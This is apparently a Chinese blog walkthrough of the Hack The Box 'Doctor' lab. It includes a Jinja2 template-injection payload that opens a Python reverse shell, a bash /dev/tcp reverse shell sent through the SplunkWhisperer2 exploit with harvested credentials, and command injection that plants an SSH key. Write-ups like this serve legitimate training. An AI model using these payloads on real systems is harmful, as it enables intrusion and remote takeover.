【Hack The Box】linux练习-- Doctor
系列专栏:Hack The Box
欢迎关注点赞收藏⭐️留言
首发时间:2022年11月23日
作者水平很有限,如果发现错误,还望告知,感谢!
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open ssl/http Splunkd httpd
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Splunkd
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2020-09-06T15:57:27
|_Not valid after: 2023-09-06T15:57:27
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
8089/tcp open ssl/http Splunkd httpd存在robots.txt
添加到host
Elizabeth Anderson, Hostpital Patients
[email protected].
添加doctors.htb到hosts
每到一个新的web,都要习惯性的响应检查标头
HTTP/1.1 200 OK
Date: Sun, 01 Nov 2020 10:21:07 GMT
Server: Werkzeug/1.0.1 Python/3.8.2
Content-Type: text/html; charset=utf-8
Vary: Cookie,Accept-Encoding
Connection: close
Content-Length: 248
server来自:Werkzeug
并且是一个python服务器
尝试登陆
都登陆不进去
那就注册一个
页面源码发现了一个/archive
这个目录能看到一些帖子的信息,那么就与下面要利用的攻击方法呼应了
Python Web 服务器可能容易受到服务器端模板注入的攻击。 如果用户输入没有经过清理,它可以包含在模板代码中而不是作为文本处理,这可以允许远程代码执行。 OWASP 有一个 页面 详细介绍了背景。 一个简单的例子是一个基于 Python Jinja2 的服务器,它有一个像这样的路由:
如果用户提交一个获取请求,如 /hello?user={{7*7}},结果将是 Hello 49!, 因为 render函数将处理大括号内的文本。
于是回到/archive,查看,因为我们刚才第一次审查的时候发现它会显示一些帖子信息
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\"10.10.14.6\",443)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
用上面的,这个是验证成功了
也可以在payloadallthethings获取更多知识
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#exploit-the-ssti-by-calling-popen-without-guessing-the-offset
8089是https
扫出来的robots没有任何的信息
在页面顶端发现是splunk 8.0.5
网上搜索他可以直接提权的,但是需要我们凭据,因为我们刚才获取了一个shell,我将在那个用户中或许可以获得凭据
存在一个通杀rce,也就是那个提权的rce
这很有趣,因为这意味着 web 可以读取日志文件。 我做了一个快速 grep通过字符串的所有日志 passw(应该同时获得“passwd”和“password”)
cd /var/log
grep -r passw . 2>/dev/null
我要用它尝试登陆一下那个用户
Guitar123
针对splunk
我们选择这个exp,
git clone https://github.com/cnotin/SplunkWhisperer2.git
python3 PySplunkWhisperer2_remote.py --host 10.129.2.21 --lhost 10.10.14.29 --username shaun --password Guitar123 --payload "bash -c 'bash -i >& /dev/tcp/10.10.14.29/9999 0>&1'"
每当我有一个在页面上显示回我的表单时,最好检查用户交互或跨站点脚本 (XSS)。 我创建了两个链接,并在正文中放置了一个脚本框:
Test <a href="http://10.10.14.29/title">title link</a>
Test <a href="http://10.10.14.29/content">body link</a>
<script> alert("Test")</script>
而这次我选择使用nc(记得kill python server)
然后测试了连接之后再测试命令执行
Test <a href="http://10.10.14.29/$(whoami)">body link</a>
<script> alert("Test")</script>
Test <a href="http://10.10.14.29/$(mkdir$IFS'/home/web/.ssh')">body link</a>
<script> alert("Test")</script>
ssh-keygen -t ed25519 -f id_rsaed25519
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPU+OHcWDuZN6NJak2W2C3ee4pAoAKO5FPkt0SyDqpvE root@kali
Test <a href="http://10.10.14.29/$(echo$IFS'ssh-ed25519'$IFS'AAAAC3NzaC1lZDI1NTE5AAAAIPU+OHcWDuZN6NJak2W2C3ee4pAoAKO5FPkt0SyDqpvE'>'/home/web/.ssh/authorized_keys')">body link</a>
<script> alert("Test")</script>
成功,然后和上面一样了